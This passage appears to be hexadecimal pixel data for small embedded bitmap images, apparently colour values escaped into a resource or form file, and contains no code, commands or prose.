FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFD4D4D4FFBDBCBCFFBDBDBCFFBDBD\n      BCFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBD\n      BDFFBDBDBCFFBDBCBCFFBCBCBCFFDEDEDEFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0\n      C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFF6C3B2AFF8D3310FF893311FF8A34\n      12FF8A3412FF8A3412FF8A3412FF8A3412FF893412FF852C09FF88300EFF852B\n      08FF893210FF893210FF8D3310FF72574EFF8B4A1EFFBA4C00FFB64C00FFB64B\n      00FFB74C00FFB74C00FFB74C00FFB74C00FFB74C00FFB74C00FFB74C00FFB74A\n      00FFB64B00FFB74C00FFBB4B00FF846046FFA5743BFFE29028FFE2912AFFE391\n      2AFFE3922BFFE3922BFFE3922BFFE3922BFFE3922BFFE3922BFFE3922BFFE392\n      2AFFE3912AFFE29129FFE29028FF957858FF596374FFA27D21FFB48100FFAD80\n      00FFAE8001FFAD8001FFAD8001FFAD8001FFAD8001FFAD8001FFAD8001FFAE80\n      01FFAC7D02FFAD8001FFB38200FF7D7044FF6D3A28FF863010FF853210FF8633\n      11FF863313FF863313FF863313FF832F0EFF7A2201FFC39C8FFF965034FFCBA7\n      9AFF832E0FFF7D2A07FF883110FF73584DFF84461FFFA14306FFA04307FFA145\n      08FFA14409FFA14409FFA14409FFA14409FFA14409FFA14409FFA14409FFA145\n      09FFA04508FFA04207FFA34306FF805E45FFA76D30FFD8801FFFD88121FFD882\n      22FFD88222FFD98222FFD98222FFD98222FFD98222FFD98222FFD98222FFD882\n      22FFD88122FFD88120FFD8801EFF95724EFF4A5094FF414ED0FF60538BFFA060\n      0AFFA56000FF9B5700FF9A5600FF9A5600FF9A5600FF9A5600FF9A5600FF9B56\n      00FF995500FF9A5400FF9C5400FF7B6441FF6D3925FF842E0EFF833010FF8530\n      11FF843210FF843210FF802805FFA4664EFFDCC5BCFFA56851FF93472CFFB484\n      6EFFBC8E7CFFC49D8EFF7A1E00FF72564BFFC2C6B7FFFFFFFDFFFFFFF9FFFFFF\n      F9FFFFFFF9FFFFFFF9FFFFFFF9FFFFFFF9FFFFFFF9FFFFFFF9FFFFFFF9FFFFFF\n      F9FFFFFFF9FFFFFFF9FFFFFFFFFFA4A59CFF9F612AFFCC6C15FFCC6E17FFCD6E\n      19FFCD6F1AFFCD6F1AFFCC6F1BFFC47743FFC67840FFCD6F1AFFCD6F1AFFCD6F\n      19FFCD6E19FFCC6D17FFCB6C15FF8F6B4BFF444097FF3E38C8FF3E38CCFF3736\n      D2FF7A6093FFEDD7ADFFE7D0ACFFDFC7AAFFDFC7AAFFDFC7AAFFDFC7AAFFDFC7\n      AAFFDFC7AAFFDEC6A9FFE4CCAEFF948D80FF6B3825FF832C0AFF842D0EFF8330\n      0EFF852F10FF822C0AFFA26249FFB78874FF8A381AFF802907FF832E0CFF8027\n      06FF812C0CFFA2614BFFC09281FF705147FFBDBDB6FFFFFFFDFFFFFFF8FFFFFF\n      F8FFFFFFF8FFFFFFF8FFFFFFF8FFFFFFF8FFFFFFF8FFFFFFF8FFFFFFF8FFFFFF\n      F8FFFFFFF8FFFFFFF8FFFFFFFFFFA0A09CFF985A2AFFC36216FFC36418FFC465\n      1AFFC4651AFFC36722FFB69CBAFF9591EBFFA5A1EEFFB393A9FFC4651CFFC465\n      1AFFC4651AFFC36318FFC26116FF8B674BFF3F349CFF3624D0FF3523CEFF3727\n      CEFF2F1FD2FF3A2CD6FFC3BFF4FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA1A1A1FF6B3825FF832B09FF822E0DFF832D\n      0CFF842F0DFF822A0AFF985037FF9D5A40FF812A08FF852F10FF852F10FF8530\n      0EFF822C0AFF8E4023FFA8664EFF6E5047FF2E209AFF1904D0FF1C07CBFF1D08\n      CBFF1D09CBFF1E09CBFF1E09CBFF1E09CBFF1E09CBFF1E09CBFF1E09CBFF1D09\n      CBFF1D08CBFF1B06CCFF1903D0FF4E478CFFBEBEBEFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFE8E7FBFF9897EDFF9392ECFF8180E8FFA9A9F0FFEAEAFBFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A0A0FF3D2F9EFF2F18D4FF4E3BD8FF2009\n      CDFF513ED7FF321CD1FF250ECCFF503ED8FFDDD2E4FFF3DDC6FFECDAD2FFEBDA\n      D5FFEBDAD5FFEAD9D5FFF1DEDAFF98918FFF6D3924FF862C07FF7B2200FF852B\n      02FF862E0BFF822D0DFFF5F0EFFF812B0BFF842E0EFF853010FF853010FF8530\n      0FFF832F0DFF781D00FFF3E7E3FF775D54FF3A2C9DFF311DD4FF311CD0FF2F1D\n      D1FF321FD1FF321FD1FF321FD1FF321FD1FF321FD1FF321FD1FF321FD1FF301E\n      D1FF311DD1FF2F1BD1FF2C18D6FF554E8DFFBEBEBEFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFA7A6EFFF8988EAFF8D8CEBFFA09FEEFF7473E7FFBEBDF3FFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A0A0FF3F2F9EFF331BD4FF5E4DDAFFFFFF\n      FFFF7668E0FF2F19D0FF3722D2FF321DD0FF2411D4FF481788FF86250BFF8D25\n      00FF8C2400FF8B2300FF8E2100FF745147FF682F20FF9D4E25FFE0CBC5FFB4BC\n      FFFF835380FF802500FF9D5940FF8A3A1DFF832E0EFF853010FF853010FF8530\n      0FFF842F0EFF7C2504FFA8664FFF705147FF3B2F9EFF3520D5FF3823D3FF3521\n      D1FF311ED0FF301DD0FF311ED0FF311ED1FF311ED1FF311ED1FF311ED1FF301D\n      D1FF311CD1FF2E1AD1FF2C18D6FF554E8DFFBEBEBEFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFE9E9FBFF9897EDFF9392ECFF807DE8FFAAAAF0FFEDECFBFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A0A0FF3F309EFF361ED5FF9B91E8FFFDFD\n      FEFFA097E9FF331FD0FF3520D1FF321CD0FF2310D4FF4D187DFF892406FF8D24\n      00FF8C2300FF8B2200FF8E2100FF745047FFA89A92FFB9B9FFFF8862A5FF9D4E\n      1CFF8E3401FF862E09FFDBC4BBFF8D3D1EFF812A0AFF832E0FFF832E0FFF832E\n      0EFF812C0BFF7C2303FFE3CAC1FF72564AFF33249CFF2910D3FF2A14D0FF2B15\n      D0FF2D17D0FF2914CFFF240FCEFF200CCCFF1F0BCCFF1F0BCCFF1F0BCCFF200B\n      CCFF1E0ACCFF1D08CCFF1C07D2FF50488CFFBEBEBEFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFAAA9F0FF9291ECFF9594ECFFAAA9F0FF7877E7FFBDBDF3FFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A0A0FF3F319EFF3E26D8FF341BD2FF6756\n      DEFF361ED2FF3C26D3FF2910CEFF5647DAFFE3D9E5FFF6E4CFFFEFE1DBFFEFE1\n      DCFFEFE0DDFFEFE0DBFFF4E6E2FF999391FF6960ABFF8876E8FF897BECFF8983\n      FEFF8D669DFF90390AFF873006FFEADDD9FF903E19FF8A340CFF89340DFF8B36\n      10FF842C05FFE5D4CCFF97431BFF715448FFC6C7BCFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A59EFF3432A7FF2D2BDCFF302EDDFF3230\n      DDFF3231DDFF9F75A4FF835FA8FF705CAFFF7064AEFF716DB4FF675FCDFF2E2D\n      DCFF2F2DDCFF2F2CDCFF2D2ADCFF514F93FF3F329EFF4128D9FF432CD6FF3F28\n      D5FF3C27DBFF4B37DEFFCECCFBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A2A2FF716BAEFF9182EBFF8B7BE8FF9089\n      FDFF92699EFF923B0BFF913E14FFA25D3CFFCAA594FFB47B60FFBA896FFFA05A\n      37FFE1CBC1FF9B502AFF9A461BFF735548FFBFC6C9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A5A5FF3332A7FF2E2BDDFF302EDDFF3230\n      DDFF3431DEFFA78E96FF7C5399FF89839AFF889995FF917A90FF9C8AA3FF3330\n      DDFF3230DDFF302EDDFF2D2ADDFF4F4E93FF40339EFF432BDBFF412BDEFF3D2A\n      E2FF855A9BFFEED1B3FFE5C7B1FFDEBFB0FFDDBFB0FFDDBFB0FFDDBFB0FFDDBF\n      B0FFDDBFB0FFDEBEAFFFE3C3B3FF918681FF6E577CFFB4B1FFFFE3CBBDFFA859\n      20FF8D3100FF923E11FF923E11FF8F3809FF9E532AFF9A4921FFD0AD9AFF9F55\n      2EFFA0542CFF8F3707FF963D08FF725547FF6A351FFF8B3300FF893300FF8B35\n      00FF8B3500FF8B3500FF8B3500FF8B3500FF8B3500FF8B3500FF8B3500FF8B35\n      00FF893400FF8A3300FF8E3400FF6E5046FF3332A7FF2E2BDDFF302EDEFF3230\n      DEFF3230DEFF3230DEFF403AD8FF453ED7FF3F39DAFF3E38D8FF3230DEFF3230\n      DEFF322FDEFF302EDEFF2D2BDDFF4E4E93FF3F31A2FF3B26EEFF613298FFA344\n      0EFFA54202FF9C3B03FF9B3903FF9B3903FF9B3903FF9B3903FF9B3903FF9B38\n      03FF9B3801FF9C3600FFA03800FF755246FF75412AFFAE6A43FF936DA9FFC1C3\n      FFFFC39E97FF9D512AFFA05733FFA05733FF9E5530FF9F5530FF9B4E28FF9E54\n      30FF9D5330FF9F5631FFA15732FF806054FF77482FFFA45F33FFA05C31FFA25C\n      33FFA25D33FFA25D33FFA25D33FFA25D33FFA25D33FFA25D33FFA25D33FFA25D\n      33FFA25C33FFA15B31FFA45D32FF816455FF4242A3FF403ED8FF413FD8FF4240\n      D9FF4241D9FF4241D9FF4241D9FF4241D9FF4241D9FF4241D9FF4241D9FF4240\n      D9FF4240D9FF413FD8FF3F3DD8FF5F5F9DFF523D91FFA55B4FFFB45D20FFAF5C\n      31FFAE5C33FFAE5C33FFAE5C33FFAE5C33FFAE5C33FFAE5C33FFAE5C33FFAE5C\n      33FFAE5C33FFAD5B31FFB05C32FF866355FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0BFBFFFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFC0BFBFFFC0BFBFFFC0C0\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFBFC0FFBFBFBFFFFFFFFFFF2D40ABFF1C39F1FF1B39EDFF1C39\n      EDFF1C39EDFF1C39ECFF1C39ECFF1C39ECFF1C39ECFF1C39ECFF1C39ECFF1C39\n      EDFF1C3AEDFF1C39ECFF1C39F3FF4E5A96FF5C8F38FFC7B42DFFE3AD2CFFD9AE\n      2DFFD8AE2DFFD8AE2DFFD8AE2DFFD8AE2DFFD8AE2DFFD8AE2DFFD8AE2DFFD8AE\n      2DFFD8AE2DFFD8AF2CFFDEB32DFF8D8154FF41AFB5FF3FFBFFFF3EF6FFFF41F8\n      FFFF0D7AEBFF035FE5FF0666E7FF0666E7FF0666E7FF0666E7FF0666E7FF0666\n      E7FF0664E7FF0565E7FF0367EFFF476992FF3641A1FF37B2EAFFA9D362FFFBAF\n      00FFEDAF0BFFE8B012FFE8B012FFE8B012FFE8B012FFE8B012FFE8B012FFE8B0\n      12FFE8B111FFE8B010FFF0B610FF917D4EFF313AA8FF222DDFFF232DDCFF2230\n      DCFF242FDCFF242FDCFF242FDCFF242FDCFF242FDCFF242FDCFF242FDCFF2430\n      DCFF232EDCFF222DDCFF222CE2FF4F5697FF4C893FFF40AD36FF73A436FFCF97\n      34FFD49635FFCE9934FFCE9933FFCE9933FFCE9933FFCE9933FFCE9933FFCE98\n      33FFCD9834FFCD9733FFD39B32FF8E7D54FF46B0BBFF45E9FDFF46E6F9FF46E8\n      F9FF4BF2FCFF1566E0FF0A46DAFF0D4FDCFF0D4FDCFF0D4FDCFF0D4FDCFF0D4F\n      DCFF0B4FDCFF0B4EDCFF094DE2FF476394FF392A9DFF2B0CD4FF1D3FE8FF34BA\n      E1FFB1C64EFFF2A700FFE3A70DFFDFA913FFDFA913FFDFA913FFDFA913FFDFA9\n      13FFDFA912FFDFA911FFE6AC10FF94804DFF3435A5FF2423DDFF2624D5FF2727\n      D7FF2726D7FF2826D7FF2828D6FF2827D6FF2827D6FF2828D6FF2826D7FF2726\n      D7FF2727D7FF2524D5FF2423E0FF525293FF478141FF44A03CFF359B33FF389D\n      38FF91933AFFD18640FFCE8B3BFFCE8E38FFCE8E38FFCE8E38FFCE8E38FFCE8E\n      38FFCE8E37FFCF8D36FFD38E35FF8E7857FF4CA7ABFF4AE9FFFF4CE3F9FF4DE5\n      F9FF4DE6F9FF52F2FAFF1A57E0FF0C35D9FF103DDAFF103DDAFF103DDAFF103D\n      DAFF103CDBFF0E3BDBFF0C3AE1FF495C92FF2C5CB2FF260AD6FF2C11CEFF2B0C\n      D0FF1B4EEFFF40C4D3FFC0BE39FFEFA600FFE2A70DFFDFA910FFDFA910FFDFA9\n      10FFDFA711FFDFA810FFE4AB0DFF93804BFF7A461FFF9E4402FF9C4604FF9D46\n      06FF9D4806FF9D4706FF9D4707FF9D4707FF9D4707FF9D4707FF9D4706FF9D48\n      06FF9D4605FF9C4604FF9F4501FF7A5F48FF427745FF339138FFBADAB9FF8AC0\n      8BFF49A351FF318758FF282FC2FF2512E3FF251BD8FF261DD7FF261DD7FF261D\n      D7FF261CD7FF231AD7FF2217DCFF534F91FF5A801FFF53DEE2FF50E4FFFF52E1\n      F9FF53E1F9FF53E2F9FF58F1FAFF1B4BDFFF0E27D9FF122FDBFF1230DBFF122E\n      DBFF112FD9FF102CD9FF0D2CE0FF4A5591FF979139FF48C8C8FF1556F3FF2A0A\n      D1FF2D13CEFF2B0BD1FF165FF5FF4ECAC3FFCDB826FFEEA500FFE1A60CFFDFA7\n      10FFDFA80FFFDFA60CFFE4AA0BFF937E49FF794324FF9A3F08FF983E0BFF9940\n      0CFF99410DFF9A420EFF9A420EFF9A420EFF9A420EFF9A420EFF9A420EFF9941\n      0DFF99400CFF983F0AFF9C3F07FF785B49FF356D3BFFE7F3E8FFA2CAA6FF3490\n      3FFF58A362FF3B9543FF3D9F39FF396D70FF311BD3FF3017D7FF311DD0FF2F1C\n      D0FF301BD0FF2D19D0FF2C16D5FF554E8EFF5C8021FF66A000FF55DBE2FF53E4\n      FFFF55E2F9FF56E2F9FF56E3F9FF5CF1FAFF1E45DFFF1121D9FF142ADBFF1329\n      DBFF1228D9FF1125DAFF0E25E0FF4A5191FFA88321FFF5A600FFB9C03DFF39BF\n      D9FF1B47EBFF2C0ACEFF2E12CEFF280DD2FF166EF9FF5FCEB0FFDAB317FFEBA5\n      00FFE0A70BFFDFA70CFFE4AA08FF927E49FF803F20FFA43A00FF9E3700FF9D35\n      00FF9E3700FF9E3600FF9E3600FF9E3600FF9E3600FF9E3600FF9E3600FF9E37\n      00FF9D3500FF9C3500FFA23300FF7C5848FF4B7B51FFFFFFFFFF308D39FF4798\n      4FFF6EAF74FF399243FF3E9548FF3E9942FF3C9B3CFF2A488BFF220BCFFF220F\n      CDFF210CCDFF200CCDFF1D08D2FF50498CFF5C8124FF6BA509FF679F00FF55DB\n      E2FF55E4FFFF56E2F9FF56E2F9FF56E3F9FF5BF2FAFF1D45DFFF1022D9FF132A\n      DBFF1229D9FF1127DAFF0E25E0FF4A5391FFA58424FFE2AC0CFFE3A607FFF1A5\n      00FFA9C753FF2DB3E6FF1E36E6FF2C0CCFFF2E12CEFF2612D5FF1680FAFF6ED1\n      9EFFE3AF0AFFE9A400FFE5AA07FF927E49FF2AA8C6FF1AE6FFFF1DE4FFFF1BE2\n      FFFF16E1FFFF15E1FFFF16E1FFFF16E1FFFF16E1FFFF16E1FFFF16E1FFFF16E1\n      FFFF16E1FFFF14E2FFFF11E7FFFF4B94A5FF4A7A50FFFFFFFFFF3B9344FF4D9D\n      55FF6CAE74FF399243FF3D9447FF348F3FFF35903EFFBBDFB6FFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A59EFF5D8225FF6DA90EFF6DA60EFF6DA1\n      02FF56DCE3FF54E3FFFF55E1F9FF55E2F9FF56E3F9FF5BF2FAFF1D47DFFF0F21\n      D9FF1229D9FF1127DAFF0E25E0FF4A5391FFA68525FFE7AC09FFE1AC0FFFE4A9\n      0BFFE5A506FFF1A600FF99CD69FF25A6EFFF2029E1FF2D0FCFFF2E11CEFF2519\n      DAFF198EF8FF7CD189FFF0AE00FF967D47FF339FB8FF28D9FFFF2BD7FCFF2DD7\n      FCFF2DD7FCFF2AD6FCFF24D4FCFF21D3FCFF21D3FCFF21D3FCFF21D3FCFF21D3\n      FCFF20D3FCFF1ED1FCFF1DD9FFFF508F9DFF38713FFFDFEFE1FFB3D5B6FF4298\n      4AFF65AA6DFF3F9649FF2E8B38FF87BC8CFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF5E8325FF71AB0FFF6FA912FF72A9\n      11FF74A607FF5FDEE3FF58E4FFFF55E1F9FF54E1F9FF55E3F9FF5AF1FAFF1C45\n      DFFF0D1ED8FF0F25D9FF0E26E0FF4B5391FFA88521FFB9BB47FFE5AD0DFFB6B9\n      49FFDCB01CFFE0AD12FFE7A707FFEDA900FF89D07CFF1C98F5FF231DDCFF2B0F\n      CEFF2A0DCEFF1D1EDDFF20A1F5FF738F70FF339FB8FF2CDAFFFF2ED8FCFF30D8\n      FCFF31D8FCFF31D8FCFF31D8FCFF32D8FCFF2FD8FCFF2ED7FCFF2DD7FCFF2DD7\n      FCFF2DD7FCFF2CD8FCFF2CDDFFFF518F9DFF45774BFF3C9846FFB3D5B7FF93C4\n      97FF57A254FF73AD68FFFEF9EDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA59E9EFF608326FF74AD10FF74AB13FF73AC\n      16FF75AA14FF76A808FF65DEE3FF63E7FFFF62E5F8FF60E3F8FF5FE5F9FF66F5\n      FBFF264FE1FF162CDBFF1736E5FF4B5491FFA88621FFE2B215FF1EE0FFFF43D7\n      E1FFF6AB00FFE2B117FFE2B117FFE2B116FFEBAE0AFFEAB30BFF7DD796FF228D\n      FAFF311EDCFF3819D3FF3817DBFF515393FF34A0B8FF2DDBFFFF2FD9FCFF31D9\n      FCFF32D9FCFF32D9FCFF32D9FCFF32D9FCFF32D9FCFF32D9FCFF32D9FCFF32D9\n      FCFF31D9FCFF2FD9FCFF2DDEFFFF508F9DFF45784BFF4CA255FF459745FF489B\n      4AFF3FBDC2FF36D4FFFF2CCEFFFF28CCFFFF28CCFFFF28CCFFFF28CCFFFF27CC\n      FFFF26CBFFFF25CBFFFF24D0FFFF4E8A9EFF608425FF76AF10FF76AD13FF77AE\n      15FF77AE16FF77AC14FF78AA08FF67DFE4FF65E8FFFF66E6FAFF66E6FAFF65E7\n      FAFF6BF6FBFF2652E2FF132EE3FF4B5491FFA88625FF61D5BCFF2ADEFFFF30DE\n      FBFF98C378FFE9B10EFFE3B317FFE3B317FFE3B317FFE4B315FFEEB009FFE4BB\n      16FF73D7A8FF2482FDFF3517E1FF554A8DFF33A1B8FF2CDDFFFF2CD9FCFF2FD9\n      FCFF2ED9FCFF30DAFCFF30DAFCFF30DAFCFF30DAFCFF30DAFCFF30DAFCFF2ED9\n      FCFF2FD9FCFF2DD9FCFF2BE0FFFF508E9CFF467848FF4F9F47FF43B298FF36D3\n      FFFF37D3FFFF37D1FFFF37D1FFFF37D1FFFF37D1FFFF37D1FFFF37D1FFFF38D1\n      FFFF37D1FFFF36D0FFFF36D7FFFF528A9DFF608323FF78B10BFF76AE0EFF77AF\n      10FF76AF11FF78AF11FF78AE0EFF78AA02FF67E1E0FF64E8FFFF64E6FAFF64E6\n      FAFF65E7FBFF6BF5FCFF2154E9FF494F8FFFA88622FFFAB000FF84CA8EFFDBB5\n      1EFFECB206FFE3B411FFE3B411FFE3B411FFE3B411FFE3B411FFE3B411FFE5B4\n      0EFFF0B000FFDBBF1BFF63D7BBFF496A9EFF3CA5BDFF4BE2FFFF49DFFEFF4ADF\n      FEFF4ADFFEFF49DFFEFF49DFFEFF49DFFEFF49DFFEFF49DFFEFF49DFFEFF4ADF\n      FEFF4ADFFEFF49DFFEFF4AE3FFFF5D9DACFF4B8567FF56D6F6FF50DAFFFF50D7\n      FFFF52D7FFFF52D7FFFF52D7FFFF52D7FFFF52D7FFFF52D7FFFF52D7FFFF52D7\n      FFFF51D7FFFF50D7FFFF52DBFFFF5F99ACFF668A30FF8BBB33FF88B831FF8AB7\n      33FF89B933FF89B933FF89B933FF8AB830FF8AB527FF7AE0DBFF76EBFFFF77EA\n      FDFF77EAFDFF77EBFDFF7DFCFFFF5C70A3FFAD8D30FFEBBF31FFE1BE3BFFECBB\n      2EFFE8BB33FFE8BD33FFE8BD33FFE8BD33FFE8BD33FFE8BD33FFE8BD33FFE8BB\n      33FFE8BC33FFE9BB2EFFFABE21FF9C925DFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDEDEDEFFC3C3C3FFC4C4C4FFC4C4\n      